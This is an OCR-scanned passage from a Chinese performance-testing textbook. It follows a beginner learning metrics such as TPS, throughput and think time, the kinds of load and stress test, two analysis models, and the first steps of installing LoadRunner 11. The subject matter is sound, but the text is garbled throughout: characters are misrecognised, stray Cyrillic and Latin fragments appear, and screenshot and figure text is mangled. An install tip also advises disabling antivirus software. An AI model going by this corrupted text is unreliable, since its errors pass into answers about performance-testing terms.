在 实际 应 用 过 程 中 ， 需 要 明白 响应 时 间 的 长 短 取决 于 用 户 的 实际 需求 ， 而 不 是 盲目 设 定 该 指标 。 毕 竟 在 BestTest 论 坛 查找 一 个 帖子 和 在 数据 统计 系统 中 碍 找 一 个 月 的 数据 汇总 与 明细 统计 是 完全 不 同 
的 ， 它 们 的 业务 有 各 自 独 有 的 特点 ， 不 能 简单 地 一 概 而 论 。 


如 注意 ”前 端 页 面 的 解析 展示 时 间 一 般 在 做 非 前 端 性 能 测试 中 不 太 会 关注 ， 因 为 每 个 浏览 器 解析 页面 的 方式 不 一 样 ， 时 间 也 会 不 一 样 。 
3. 每 秒 通过 事务 数 


TPs 是 指 每 秒 通 过 事务 数 ， 是 直接 反映 系统 性 能 的 指标 ， 该 值 大 时 ， 系 统 性 能 会 比较 好 ， 当 然 每 个 系统 都 有 它 的 上 限 ， 不 可 能 无 限 大 。 将 它 与 平均 事务 响应 时 间 进 行 对 比 ， 可 以 分 析 事 务 数量 对 响应 时 
间 的 影响 。 


例如 ， 当 压力 加 大 时 ，TPSs 曲 线 如 果 变 化 缓慢 或 者 有 平坦 的 趋势 ， 很 有 可 能 是 服务 器 开始 出 现 瓶 页 了 。 如 果 环 境 没有 发 生 大 的 变化 ， 对 于 同一 系统 会 存在 一 个 最 大 处 理事 务 能 力 ， 它 并 不 随 着 并 发 用 户 
的 多 少 而 改变 。 就 好 像 传阅 中 的 北京 五 道口 地 铁 检票 机 一 样 ， 只 有 两 台 进 站 检票 的 机 器 ， 一 次 一 台 机 器 只 能 通过 一 个 人 ， 不 论 是 来 10 个 人 ， 还 是 100 个 人 。 


4 .每 秒 点 击 数 


每 秒 点 击 数 代 表 用 户 每 秒 向 Web 服 务 器 提交 的 HTTP 请 求 数 。 但 这 里 需要 注意 的 是 提交 一 个 登录 请 求 ， 对 于 用 户 来 说 感觉 是 一 个 请 求 ， 但 对 于 后 端 服务 器 来 说 也 许 是 多 个 请 求 ， 所 以 点 击 一 次 不 代表 就 
是 一 个 请 求 。 例 如 ， 点 击 一 个 链接 ， 该 操作 返回 的 页 面 上 有 6 张 图 片 ， 因 为 下 载 每 张 图 片 都 需要 一 个 HTTP 请 求 ， 所 以 这 个 页 面 下 载 完成 之 后 的 点 击 数 应 该 是 7。 


每 秒 点 击 数 从 侧面 可 以 反映 客户 端的 状况 ， 每 秒 点 击 数 不 正 常 ， 一 般 可 能 是 网 络 问题 或 者 脚本 问题 导致 ， 需 要 进一步 具体 分 析 。 
5 ATTE 


经 常 在 网 上 看 到 “吞吐 量 ” 与 “吞吐 率 ” 的 概念 ， 也 有 不 少 人 把 两 者 混淆 。 吞 吐 量 是 指 单 位 时 间 内 系统 处 理 的 请 求 数量 ， 能 直接 反映 服务 器 承受 的 压力 ， 是 需要 重点 关注 的 指标 。 而 吞吐 率 一 般 指 用 户 
在 给 定 的 一 秒 内 从 服务 器 获得 的 数据 量 ， 简 而 言 之 就 是 服务 器 返回 的 数据 量 。 


例如 ， 一 个 食品 三 的 生产 效率 很 高 ， 一 天 能 生产 很 多 食品 ， 但 是 工厂 只 有 两 辆 三 轮 车 在 运输 ， 不 难 想象 会 出 现 什 么 样 的 可 怕 场 景 。 这 个 时 候 工厂 运输 食品 的 能 力 就 成 为 了 瓶颈 ， 也 就 是 它 的 吞吐 量 /吞吐 
ЖН ГД. 


6. 思 考 时 间 
思考 时 间 可 以 从 两 个 宏观 的 角度 来 理解 。 


1) 思考 时 间 就 是 用 户 进行 操作 时 ， 每 个 请 求 或 者 操作 之 间 的 间隔 时 间 ， 是 为 了 更 加 真实 地 模拟 用 户 的 操作 场景 。 因 为 在 实际 使 用 中 不 太 可 能 会 出 现 不 断 地 发 送 请 求 ， 一 般 都 是 一 个 请 求 后 ， 等 待 一 段 时 
间 ， 然 后 发 送 下 一 个 请 求 ， 恶 意 攻击 除外 。 


2) 小 白 发 现在 BestTest 论 坛 连续 发 帖 时 会 提示 “两 次 发 帖 时 间 间 隔 不 能 小 于 15 秒 钟 ”， 这 时 如 果 要 满足 业务 的 特定 需求 就 需要 加 上 思考 时 间 15s 了 。 这 下 小 白 对 思考 时 间 有 了 进一步 的 认识 ， 很 是 高 


另外 ， 小 白 经 常 在 网 上 看 到 关于 0 思考 时 间 的 讨论 ， 自 己 也 有 点 疑惑 ， 于 是 请 教 了 经 理 。 经 理 告诉 他， 如 果 想 了 解 系统 的 最 大 承受 能 力 或 者 极端 情况 下 系统 的 性 能 表现 ， 则 可 以 设置 为 0 思考 时 间 。 但 如 
果 是 预 估 系 统 的 性 能 ， 就 应 该 最 大 可 能 地 模拟 真实 思考 时 间 。 一 般 都 会 加 上 思考 时 间 ， 只 是 在 分 析 时 要 去 掉 思 考 时 间 。 


7. 资 源 利用 率 


小 白 通 过 碍 找 资料 发 现 ， 关 于 资源 利用 率 的 资料 太 多 也 太 杂 ， 根 本 无 法 梳理 ， 而 且 会 越 看 越 乱 ， 无 奈 之 下 向 经 理 求助 ， 经 理 告 诉 他 虽然 指标 很 多 ， 但 很 多 时 候 每 个 指标 间 都 是 有 关联 的 ， 而 且 重 点 的 就 
是 那么 几 个 ， 只 要 把 这 几 个 理解 透彻 就 行 了 。 小 白 按 照 经 理 的 指导 开始 学 习 、 理 解 重点 的 几 个 指标 。 


. CPU: 它 就 像 是 人 的 大 脑 ， 主 要 是 进行 判断 和 处 理 ， 能 反映 出 系统 的 繁忙 程度 ， 一 般 分 为 系统 CPU 与 用 户 CPU， 其 中 系统 CPU 是 处 理 系统 本 身 所 占用 的 资源 ， 用 户 CPU 则 是 处 理 程序 所 占用 的 资源 ， 对 
象 不 同 。 


: Load Average: 指 一 段 时 间 内 CPU 正在 处 理 和 等 待 CPU 处 理 的 任务 ， 也 就 是 CPU 使 用 队列 的 长 度 的 统计 信息 。 这 里 的 Load Average 值 就 好 像 地 铁 里 等 待 进 站 上 车 的 乘客 ， 越 多 则 Load Average 值 也 越 大。 


: Memory: 它 就 像 是 人 大 脑 的 记忆 区 域 ， 将 各 种 信息 收集 起 来 存放 。 数 据 从 内 存 中 读 取 要 比 从 磁盘 上 读 取 速度 快 ， 而 内 存 经 党 发 生 内 存 泄露 或 内 存 溢 出 的 现象 ， 是 需要 重点 留意 的 。 不 过 这 里 需要 注 
意 ， 短 时 间 的 可 用 内 存 越 来 越 少 ， 不 代表 一 定 有 内 存 泄露 或 溢出 。 


S 队列 : 可 以 理解 成 地 铁 进 站 的 排队 现象 ， 队 列 长 ， 说 明 处 理 能 力 可 能 达到 了 极限 或 者 遇 到 了 阻塞 。 
IO: 与 磁盘 的 交互 ， 重 点 关注 交换 频率 和 磁盘 队列 长 度 。 
网络: 重点 关注 网 络 的 流量 ， 看 是 否 存 在 网 络 带宽 的 瓶颈 。 


虽然 小 白 把 这 些 指标 的 含义 都 弄 清楚 了 ， 但 是 具体 用 法 以 及 如 何 判断 是 否 会 出 现 问题 还 是 不 太 懂 ， 不 过 小 白 心 里 也 清楚 ， 这 事 得 一 步 步 来 。 先 把 基本 概念 和 重点 指标 理解 清楚 了 才 是 最 重要 的 ， 只 有 这 
样 ， 以 后 分 析 起 来 才能 有 头绪 、 有 突破 口 ， 否 则 会 很 被 动 。 想 到 这 里 小 白 会 心 一 笑 ， 心 里 暗 想 加 油 吧 ! 


14 ”性 能 测试 分 类 详解 


小 白 在 学 习 过 程 中 发 现 性 能 测试 的 种 类 繁多 ， 但 是 实际 执行 起 来 又 很 难 严格 区 分 ， 所 以 小 白 觉 得 理解 各 种 分 类 的 特点 和 概念 即 可 ， 没 必要 咬文嚼字 。 
1. 基 准 测试 


基准 最 简单 的 理解 就 是 有 基础 的 标准 ， 这 样 能 通过 对 比 发 现 系统 的 不 同 点 与 变化 。 一 般 情况 下 ， 基 准 测试 有 以 下 几 种 应 用 场景 。 


1) 可 以 在 制定 的 标准 下 通过 基准 测试 建立 一 个 性 能 基准 ， 这 样 以 后 当 系统 的 环境 、 参 数 发 生变 化 之 后 ， 再 进行 一 次 相同 标准 下 的 测试 ， 即 可 看 出 变化 对 性 能 的 影响 。 例 如 ， 数 据 库 的 基准 性 能 测试 。 
2) 系统 进行 基准 测试 可 以 在 较 早 的 阶段 发 现 性 能 问题 。 例 如 ， 如 果 对 BestTest 网 站 进行 10 个 用 户 并 发 测试 时 ， 系 统 出 现 了 死机 的 现象 ， 那 么 就 没有 必要 进行 后 续 的 测试 了 。 
3) 某 系 统 从 来 没有 进行 过 任何 性 能 测试 ， 需 要 对 该 系统 做 一 次 性 能 评估 作为 后 续 开 发 调 优 的 参考 。 这 是 基准 测试 常见 的 一 种 场景 ， 也 是 大 部 分 没有 做 过 性 能 测试 的 公司 最 需要 的 。 


虽然 基准 测试 不 难 理解 ， 但 实践 起 来 常常 被 误解 。 以 对 某 个 系统 的 数据 搜索 进行 性 能 基准 测试 为 例 ， 这 个 系统 的 数据 量 会 随 着 时 间 的 增长 而 增长 ， 所 以 必须 频繁 地 进行 基准 测试 ， 这 样 才能 准确 地 把 握 


数据 量 的 增长 对 系统 性 能 的 影响 。 但 因为 进行 的 基准 测试 又 恰恰 是 在 应 用 程序 级 别 的 ， 并 不 能 客观 地 反映 全 局 性 的 性 能 。 所 以 ， 比 较 好 的 做 法 是 每 次 只 修改 一 个 地 方 ， 这 样 就 能 准确 地 判断 出 哪个 地 方 会 对 
性 能 产生 影响 。 


2. 并 发 测试 


并 上 发 测试 可 以 理解 为 很 多 的 用 户 按照 预定 的 场景 并 发 请 求 某 个 业务 或 功能 时 是 否 出 现 并 发 问题 。 例 如 ， 内 存 泄露 、 线 程 锁 、 资 源 争 用 等 ， 几 乎 所 有 的 性 能 测试 都 会 涉及 并 发 测试 。 并 发 测试 的 主要 目的 


是 找 出 并 上 友 引 起 的 问题 。 


那 并 发 数 又 如 何 确定 呢 ” 小 白 通过 查找 资料 得 知 ， 一 般 可 以 通过 以 下 几 种 方法 推算 需要 的 并 发 数 。 

1) 并 发 数 =PV/PV Timex 页 面 连接 次 数 xHTTP 响 应 时 间 x 因 数 /Web 服 务 器 数量 。 

Hh, PV Time 是 PV 的 统计 时 间 ， 换 算 成 秒 ， 一 天 是 86400s。 页 面 连接 次 数 包 括 外 部 的 JS、CSS、 图 片 等 , 一般 为 10。HTTP 响 应 时 间 一 般 可 为 1s 或 更 少 。 因 数 一 般 为 5。 

假设 ，BestTest 官 网 每 天 有 6 万 PV， 其 余 参 数 保持 默认 ， 那 么 推算 出 来 的 并 发 数 大 致 为 35。 

Qi PV (page view) 即 页 面 浏览 量 。 一 个 用 户 有 可 能 创造 十 几 个 甚至 更 多 的 PV。 它 是 目前 判断 网 站 访问 流量 最 常用 的 计算 方式 ， 也 是 反映 一 个 网 站 受 欢 迎 程度 的 重要 指标 之 一 。 
2) 著名 的 经 典 理论 80-20 原 则 。 


3) 参考 段 念 老师 在 《软件 性 能 测试 过 程 详解 与 案例 剖析 》 一 书 中 提 到 的 估算 方法 。 


当然 ， 上 面 的 方法 仪 供 参考 ， 需 要 根据 实际 的 系统 特点 、 业 务 特点 来 衡量 。 
3. 负 载 测试 


负载 测试 可 以 理解 为 确定 所 要 测试 的 业务 或 系统 的 负载 学 围 ， 然 后 对 其 进行 测试 。 它 的 主要 目的 是 验证 业务 或 系统 在 给 定 的 负载 条 件 下 的 处 理性 能 。 此 外 ， 还 要 关注 响应 时 间 、 每 秒 通 过 事务 数 和 其 他 


相关 指标 。 


从 另 一 个 角度 理解 ， 负 载 测试 可 以 看 作 是 性 能 测试 的 一 部 分 ， 但 它们 两 者 的 目的 是 不 同 的 ， 负 载 测试 是 为 了 发 现 性 能 问题 ， 而 性 能 测试 是 为 了 获取 性 能 指标 。 因 为 在 性 能 测试 过 程 中 ， 也 可 以 不 调整 负 


， 而 是 在 同样 负载 情况 下 通过 改变 系统 的 结构 、 算 法 、 硬 件 配置 等 来 得 到 性 能 指标 。 


4 .压力 测试 
压力 测试 可 以 理解 为 没有 预期 的 性 能 指标 ， 不 断 地 加 压 ， 看 系统 什么 时 候 骨 溃 ， 以 此 来 确定 系统 的 瓶颈 或 者 不 能 接受 的 性 能 拐点 ， 以 获得 系统 的 最 佳 并 发 数 、 最 大 并 发 数 。 仍 然 以 生活 中 的 例子 来 说 


， 压 力 测试 就 好 比 跑马 拉 松 ， 看 你 到 底 能 跑 多 久 ， 什 么 时 候 就 坚持 不 住 了 。 


压力 测试 也 可 以 看 作 是 负载 测试 的 一 种 ， 即 高 负载 下 的 负载 测试 。 通 过 压力 测试 ， 可 以 更 快 地 上 发现 内 存 泄 漏 问题 ， 还 可 以 更 快 地 发 现 影响 系统 稳定 性 的 问题 。 例 如 ， 在 正常 负载 情况 下 ， 某 些 功能 可 以 


正常 使 用 或 者 出 错 的 概率 比较 低 ， 但 在 压力 测试 下 可 能 很 快 就 会 出 现 ， 帮 助 我们 提早 发 现 性 能 问题 。 


小 白 想 起 ， 公 司 之 前 有 个 网 站 ， 在 用 户 少 的 时 候 没有 什么 问题 ， 但 在 用 户 多 时 就 暴露 出 了 一 些 问题 ， 经 常会 有 异常 报错 产生 。 看 来 公司 的 网 站 真 的 需要 进行 性 能 测试 来 评估 了 ， 小 白 心里 暗 想 。 
注意。 负载 测试 与 压力 测试 的 概念 并 非 完全 独立 ， 读 者 大 可 不 必 纠 结 于 文字 概念 。 在 实际 应 用 中 一 般 二 者 都 是 相互 结合 、 相 互补 充 的 。 
5 .稳定 性 测试 


稳定 性 测试 顾名思义 重点 在 于 “稳定 ”二 字 ， 要 想 知道 系统 稳定 的 情况 ， 就 需要 长 时 间 运 行 ， 在 这 段 时 间 内 观察 系统 的 出 错 几率 、 性 能 变化 趋势 等 。 进 而 大 大 减少 系统 上 线 后 的 骨 溃 等 现象 。 一 般 都 会 


进行 所 谓 的 7x 24 小 时 的 稳定 性 测试 。 


但 稳定 性 测试 也 有 和 其 他 分 类 不 一 样 的 地 方 ， 这 里 需要 强调 以 下 两 点 。 
1) 一 般 稳 定性 测试 需要 在 系统 成 型 后 进行 ， 并 且 没 有 严重 的 Bug 存 在 。 
2) 场景 的 设计 以 模拟 真实 用 户 的 实际 操作 为 佳 。 

6. 失 效 恢复 测试 


失效 恢复 测试 重 在 关注 系统 出 现 问题 后 能 否 根据 预先 制定 的 策略 恢复 ， 且 恢复 后 能 否 正 常 运行 。 怎 么 理解 呢 ” 很 简单 ， 以 跑马 拉 松 为 例 ， 为 了 预防 出 现 跑 不 动 的 情况 ， 预 先 准备 了 一 瓶 红牛 (应 该 给 我 


广告 费 ) ， 当 选手 累 得 稍 下 后 ， 拿 出 这 瓶 红牛 一 口气 喝 了 ， 然 后 你 有 力量 了 ， 恢 复 了 原来 的 状态 ， 站 起 来 继续 跑 。 这 下 理解 了 吧 。 


nn 


不 过 失效 恢复 测试 一 般 是 对 具有 负载 均衡 的 系统 进行 的 ， 主 要 是 为 了 测试 当 系统 局 部 发 生 故 障 时 ， 是 否 会 对 全 局 产生 大 的 影响 ， 产 生 的 影响 是 否 在 可 以 接受 的 范围 内 ， 以 及 用 户 能 否 继续 使 用 系统 。 


在 实际 应 用 过 程 中 ， 可 以 模拟 一 台 或 几 人 台 负 载 均衡 机 器 出 现 故障 来 进行 失效 恢复 测试 ， 但 需要 注意 的 是 ， 不 仅 要 关心 失效 后 ， 用 户 是 否 可 以 正常 访问 或 者 恢复 后 系统 是 否 可 以 正常 工作 ， 也 要 关注 失效 


， 系 统 还 能 支持 多 少 并 发 用 户 ， 以 及 采用 哪些 备 选 方案 来 快速 响应 。 


小 白 学 到 这 里 也 明白 了 原来 性 能 测试 中 需要 关注 许多 点 ， 既 要 有 对 某 个 点 的 思考 ， 也 要 有 扩展 点 的 思考 ， 否 则 容易 遗漏 或 得 出 片面 的 结论 ， 而 不 能 从 根本 上 来 预防 解决 问题 。 
7. 现 网 性 能 测试 
所 谓 现 网 性 能 测试 ， 就 是 在 实际 网 络 、 实 际 环境 中 进行 测试 ， 完 全 和 真实 用 户 一 样 。 当 然 这 样 的 测试 有 一 定 的 风险 ， 需 要 注意 以 下 几 点 。 


1) 时 间 段 的 选择 。 现 网 性 能 测试 可 能 会 影响 正常 用 户 ， 所 以 这 样 的 时 间 段 要 尽量 避 开 高 峰 期 ， 选 择 半 夜 或 者 凌晨 来 进行 。 
2) 垃圾 数据 处 理 。 如 果 现 网 性 能 测试 涉及 了 写 数 据 的 操作 ， 那 么 肯定 会 带 来 不 少 的 垃圾 数据 ， 这 些 数 据 后 期 一 定 要 清理 ， 为 了 清理 方便 ， 前 期 数据 的 设计 要 有 规律 可 循 。 


3) 网 络 限制 。 和 在 内 网 测试 不 同 ， 现 网 的 测试 如 果 突 然 间 产 生 大 的 数据 量 ， 可 能 会 被 网 络 带宽 限制 ， 甚 至 路 由 会 认为 是 非法 数据 请 求 而 产生 拦截 等 。 所 以 如 果 在 现 网 进行 性 能 测试 ， 那 么 压力 机 需要 和 


被 测 服务 器 部 署 在 同一 个 网 段 机房 内 ， 这 样 可 以 避免 网 络 限制 ， 最 后 远程 收集 数据 即 可 。 


如 果 没 有 特殊 情况 ， 尽 量 不 要 进行 现 网 的 性 能 测试 ， 风 险 比较 大 ， 如 果 非 要 进行 ， 一 定 要 事先 充分 评估 风险 以 及 应 对 的 解决 方案 ， 这 样 出 了 问题 可 以 快速 响应 ， 把 影响 控制 到 最 小 。 


1.5 ”性 能 测试 模型 分 析 


经 过 上 面 的 学 习 ， 人 小 白 对 基本 的 性 能 测试 概念 等 有 了 深刻 理解 ， 为 了 能 把 这 些 概念 应 用 到 实际 项 目 中 ， 小 白 开 始 对 典型 的 性 能 测试 模型 进行 学 习 ， 逐 步 把 概念 、 指 标 运用 起 来 ， 并 培养 自己 的 观察 分 析 
能 力 。 


1.5.1 ”曲线 拐点 模型 分 析 


对 于 初学 者 来 说 ， 培 养 观 察 与 分 析 思 想 是 很 重要 的 ， 首 先 来 看 一 张 典 型 的 曲线 拐点 模型 图 ， 如 图 1-2 所 示 。 


最 佳 并 发 


用 户 数 


资源 利用 率 ， 


响应 时 间 


并 发 用 户 数 
重 压 力 区 


812 ”曲线 拐点 模型 


轻 压 力 区 13 кА 


分 析 图 1-2 最 好 是 先 看 一 个 个 指标 ， 然 后 再 综合 分 析 ， 这 样 的 步骤 更 容易 理解 ， 思 路 也 更 加 清晰 明了 。 接 下 来 就 和 小 白 一 起 来 分 析 吧 ， 分 析 思 路 如 下 。 
1) X 轴 代表 并 发 用 户 数 ，Y 轴 代表 资源 利用 率 、 吞 吐 量 、 响 应 时 间 。X 轴 与 Y 轴 区 域 从 左 往 右 分 别 是 轻 压 力 区 、 重 压力 区 、 拐 点 区 。 


2) 然后 一 个 个 分 析 ， 根 据 前 面 学 习 的 性 能 术语 与 指标 进行 理解 ， 随 着 并 发 用 户 数 的 增加 ， 在 轻 压力 区 的 响应 时 间 变 化 不 大 ， 比 较 平缓 ， 进 入 重 压力 区 后 呈现 增长 的 趋势 ， 最 后 进入 拐点 区 后 倾斜 率 增 
大 ， 响 应 时 间 急 剧 增 加 。 


3) 接着 看 吞吐 量 ， 随 着 并 发 用 户 数 的 增加 ， 吞 吐 量 增加 ， 进 入 重 压 力 区 后 逐步 平稳 ， 到 达 拐 点 区 后 急剧 下 降 ， 说 明 系 统 已 经 达到 了 处 理 极限 ， 有 点 要 打 不 住 的 感 党 。 
4) 同 理 ， 随 着 并 发 用 户 数 的 增加 ， 资 源 利用 率 逐 步 上 升 ， 最 后 达到 饱和 状态 。 


5) 最 后 ， 把 所 有 指标 融合 到 一 起 来 分 析 ， 随 着 并 发 用 户 数 的 增加 ， 吞 吐 量 与 资源 利用 率 增 加 ， 说 明 系 统 在 积极 处 理 ， 所 以 响应 时 间 增 加 得 并 不 明显 ， 处 于 比较 好 的 状态 。 但 随 着 并 发 用 户 数 的 持续 增 
加 ， 压 力也 在 持续 加 大 ， 吞 吐 量 与 资源 利用 率 都 达到 了 饱和 ， 随 后 吞吐 量 急 剧 下 降 ， 造 成 响应 时 间 和 急剧 增长 。 轻 压力 区 与 重 压力 区 的 交界 点 是 系统 的 最 佳 并 发 用 户 数 ， 因 为 各 种 资源 都 利用 充分 ， 响 应 也 很 
Їй; 而 重 压力 区 与 拐点 区 的 交界 点 就 是 系统 的 最 大 并 发 用 户 数 ， 因 为 超过 这 个 点 ， 系 统 性 能 将 会 急剧 下 降 甚 至 月 演 。 


分 析 到 这 里 ， 小 白 终 于 找到 点 成 就 感 了 ， 同 时 也 庆 科 自己 没有 忽略 基础 ， 看 来 基础 对 于 日 后 的 学 习 有 着 重要 意义 ! 


1.5.2 ”地 铁 模型 分 析 


和 绝 大 部 分 人 一 样 ， 小 白 每 天 都 要 乘坐 地 铁 上 下 班 ， 那 么 就 拿 地 铁 来 分 析 ， 再 次 深刻 理解 下 性 能 。 早 上 乘坐 地 铁 上 班 ， 最 典型 的 就 是 北京 地 铁 1、5、10、13 号 线 等 ， 人 多 得 简直 没 法 形容 ! 为 了 方便 理 


解 分 析 ， 先 做 如 下 假设 。 
‚ 某 地 铁 站 进 站 只 有 3 个 刷卡 机 。 
" 人 少 的 情况 下 ， 每 位 乘客 很 快 就 可 以 刷卡 进 站 ， 假 设 进 站 需要 1s。 
. 乘客 耐心 有 限 ， 如 果 等 待 超过 30min， 就 会 暴躁 、 啼 路 ， 其 至 选择 放弃 。 
按照 上 述 的 假设 ， 最 初 会 出 现 如 下 的 场景 。 
场景 一 : 只 有 1 名 乘客 进 站 时 ， 这 名 乘客 可 以 在 1s 的 时 间 内 完成 进 站 ， 且 只 利用 了 一 台 刷 卡 机 ， 剩 余 2 台 等 待 着 。 
场景 二 : 只 有 2 名 乘客 进 站 时 ，2 名 乘客 仍 都 可 以 在 1s 的 时 间 内 完成 进 站 ， 且 利用 了 2 人 台 刷 卡 机 ， 剩 余 1 台 等 待 着 。 
场景 三 : 只 有 3 名 乘客 进 站 时 ，3 名 乘客 还 能 在 1s 的 时 间 内 完成 进 站 ， 且 利用 了 3 人 台 刷 卡 机 ， 资 源 得 到 充分 利用 。 
想到 这 里 ， 小 白 越 来 越 觉得 有 意思 了 ， 原 来 技术 与 生活 这 么 息息相关 ， 真 的 可 以 快乐 学 习 哦 。 随 着 上 班 高 峰 的 到 来 ， 乘 客 也 越 来 越 多 ， 新 的 场景 也 慢 慢 出 现 了 。 


场景 四 : A、B、( 人 三 名 乘客 进 站 ， 同 时 D、E、F 乘 客 也 要 进 站 ， 因 为 A、B、( 人 先 到 ， 所 以 D、E、F 乘 客 需要 排队 ， 等 A、B、( 人 三 名 乘客 进 站 完成 后 才 行 。 那 么 ，A、B、 (人 乘客 进 站 时 间 为 1s， 而 D、E、F 
乘客 必须 等 待 1s， 所 以 他 们 3 位 在 进 站 的 时 间 是 2s。 


通过 上 面 这 个 场景 可 以 发 现 ， 每 秒 能 使 3 名 乘客 进 站 ， 第 1s 是 A、B、C,， 第 2s 是 D、E、F,， 但 是 对 于 乘客 D、E、F 来 说 ，“ 响 应 时 间 ” 延 长 了 。 


场景 五 : 假设 这 次 进 站 一 次 来 了 9 名 乘客 ,根据 上 面 的 场景 ， 不 难 推断 出 ， 这 9 名 乘客 中 有 3 名 的 “响应 时 间 ” 为 1s， 有 3 名 的 “响应 时 间 ” 为 2s (等 待 1s+ 进 站 1s) ， 还 有 3 名 的 “响应 时 间 ” 为 3s (等 待 
2s+ 进 站 1s) 。 


场景 六 : 假设 这 次 进 站 一 次 来 了 10 名 乘客 ， 根 据 上 面 的 推算 ， 必 然 存在 1 名 乘客 的 “响应 时 间 ” 为 4s， 如 果 随 着 大 量 的 人 流 涌 入 进 站 ， 可 想 而 知 就 会 达到 乘客 的 忍耐 极限 。 

场景 七 : 如 果 地 铁 正好 在 火车 站 ,例如 ， 著 名 的 北京 西 站 、 北 京 站 。 每 名 乘客 都 拿 着 大 小 不 同 的 包 ， 有 的 乘客 拿 的 包 太 大 导致 卡 在 刷卡 机 那 (堵塞 ) ， 这 样 每 名 乘客 的 进 站 时 间 就 会 又 不 一 样 。 
小 白 突然 想到 ， 貌 似 很 多 地 铁 进 站 的 刷卡 机 有 加 宽 的 和 正常 宽度 的 两 种 类 型 ， 那 么 拿 大 包 的 乘客 可 以 通过 加 宽 的 刷卡 机 快速 进 站 (增加 带宽 ) ， 这 样 就 能 避免 场景 七 中 的 现象 。 

场景 八 : 进 站 的 乘客 越 来 越 多 ，3 人 台 刷 卡 机 已 经 无 法 满足 需求 ， 于 是 为 了 减少 人 流 的 积压 ， 需 要 再 多 开 几 个 刷卡 机 ， 增 加 进 站 的 人 流 与 速度 (提升 TPS、 增 大 连接 数 ) 。 


场景 九 : 终于 到 了 上 班 高 峰 时 间 了 ， 乘 客 数 量 上 升 太 快 ， 现 有 的 进 站 措施 已 经 无 法 满足 ， 越 来 越 多 的 人 开始 抱 忽 、 拥 挤 ， 情 况 越 来 越 粮 。 单 单 增加 刷卡 机 已 经 不 行 了 ， 此 时 的 乘客 就 相当 于 “请 求 ”， 
乘客 不 是 在 地 铁 进 站 排队 ， 就 是 在 站 人 台 排队 等 车 ， 已 经 造成 严重 的 “堵塞 ”， 那 么 增加 发 车 频率 (加快 应 用 、 数 据 库 的 处 理 速 度 ) 、 增 加 车 厢 数 量 (增加 内 存 、 增 大 吞吐 量 ) 、 增 加 线路 (增加 服务 的 线 
程 ) 、 限 流 、 分 流 等 多 种 措施 便 应 需 而 生 。 


分 析 到 这 里 ， 小 白 可 以 熟练 地 把 性 能 指标 与 场景 结合 运用 起 来 了 ， 初 步 学 习 成 果 还 是 不 错 的 。 
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通过 本 阶段 的 学 习 ， 小 白 深入 理解 了 性 能 测试 的 作用 、 重 要 性 以 及 意义 ， 同 时 掌握 了 重要 的 术语 、 概 念 、 指 标 ， 并 把 这 些 知识 应 用 到 实际 生活 场景 中 ， 经 过 深刻 学 习 产 出 了 两 个 经 典 模型 。 
虽然 第 1 章 为 基础 知识 ， 但 对 于 学 习 整体 的 性 能 测试 知识 尤为 重要 ， 如 果 不 能 很 好 地 理解 和 掌握 这 些 基 础 ， 后 续 的 学 习 将 会 变 得 凌乱 不 堪 ， 这 也 是 很 多 读者 最 容易 犯 的 错误 ， 切 忌 不 要 浮躁 ! 


接 下 来 小 白 将 学 习 现在 十 分 流行 的 商业 性 能 测试 工具 LoadRunner， 他 又 会 遇 到 什么 问题 呢 ? 让 我 们 继续 往 下 看 吧 。 


第 2 章 LoadRunner VuGen 实 战 


经 过 上 面 的 学 习 ， 小 白 已 深入 理解 了 性 能 测试 ， 接 下 来 小 白 需要 通过 一 个 性 能 测试 工具 来 引导 他 动手 实践 ， 毕 竟 实 践 才 是 王道 。 


经 过 查找 资料 ， 小 白 发 现 性 能 测试 工具 貌似 比较 多 ， 但 LoadRunner 是 目前 比较 流行 的 ， 所 以 小 白 决定 先 学 习 最 流行 的 性 能 测试 工具 。 下 面 就 和 小 白 一 起 来 见识 下 LoadRunner 11 的 强大 功能 吧 ! 


2.1 LoadRunner 快 速 安装 


在 Windows 下 安装 软件 一 般 都 是 4 个 步骤 : 下载、 安装、 配置 、 验 证 。 小 白 到 HP 的 官网 找到 了 LoadRunner 11， 因 为 据说 这 个 版 本 比较 好 用 、 稳 定 ， 所 以 小 白 决 定 就 用 它 了 。 
1) 下 载 后 双击 安装 包 中 的 setup.exe， 然 后 按照 提示 一 步 步 安 装 即 可 。 

Qi 

安装 LoadqRunnet 时 需要 先 确认 如 下 几 点 。 

· LoadRunner 11 不 支持 Windows 8 系统 。 

. 软件 安装 到 非 中 文 目录 下 。 


. 如 果 是 Windows 7 系统 ， 请 右 击 和 鼠标 后 选择 管理 员 权 限 进行 所 有 安装 操作 。 


" 


装 之 前 请 关闭 360、 腾 讯 管家 、 杀 毒 软件 等 类 似 的 管理 软件 。 
2) 完成 安装 后 将 会 在 “开始 ”菜单 看 到 LoadRunner， 如 图 2-1 所 示 。 


3) 单 击 图 2-1 中 的 LoadRunner， 即 可 出 现 如 图 2-2 所 示 主 界面 。 


至 此 ，LoadRunner 的 安装 就 算 完成 了 。 
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IONS сы ЫБЫЗ Чг ЕЕЕ АЫ n en рое yasaq = Controler now allows custemzing the list of performance montor de fault 

measurements Ep accommodate your testing best practices 


Whats New in Controler 


Feature Videns: 
Bm Service level agreement percentile support 


lih Customize monitor default counter Est 


图 2-2 iG 
Qua 建议 使 用 LoadRunnet 的 英文 版 ， 比 较 稳 定 ， 中 文 版 会 出 现 一 些 莫名 其 妙 的 问题 。 


LoadRunner 的 性 能 测试 过 程 一 般 为 计划 测试 、 创 建 脚本 、 设 计 场景 、 运 行 场景 、 分 析 结 果 。 人 小 白 也 将 按照 此 过 程 进行 学 习 。 


22 ”LoadRunner 组 成 与 示例 程序 


完成 LoadRunner 的 安装 后 ， 小 白 迫 不 及 待 地 想 试 试 这 个 软件 的 威力 如 何 。 下 面 就 跟随 小 白 继 续 学 习 吧 。 
1.LoadRunner 的 三 大 组 件 
LoadRunner 由 三 大 基本 组 件 构成 ， 分 别 是 VuGen、Controller、Analysis。 那 这 三 个 组 件 的 作用 如 下 。 


: VuGen: 是 录制 与 编写 脚本 的 地 方 ， 就 是 通过 录制 或 编写 脚本 来 模拟 用 户 的 行为 ， 可 以 理解 为 用 户 行为 模拟 器 ， 同 时 会 打印 出 日 志 人 信息， 方便 调试 脚本 。VuGen 也 是 一 个 集成 开发 调试 环境 ， 在 这 里 
完成 脚本 开发 并 调试 通过 后 就 可 以 放 到 Conttollet 中 来 创建 场景 了 。 


: Controller: 是 性 能 测试 场景 设计 以 及 监控 的 地 方 ， 让 脚本 按照 预定 的 规则 运行 并 产生 压力 ， 同 时 监控 重要 指标 等 都 在 此 处 完成 。 
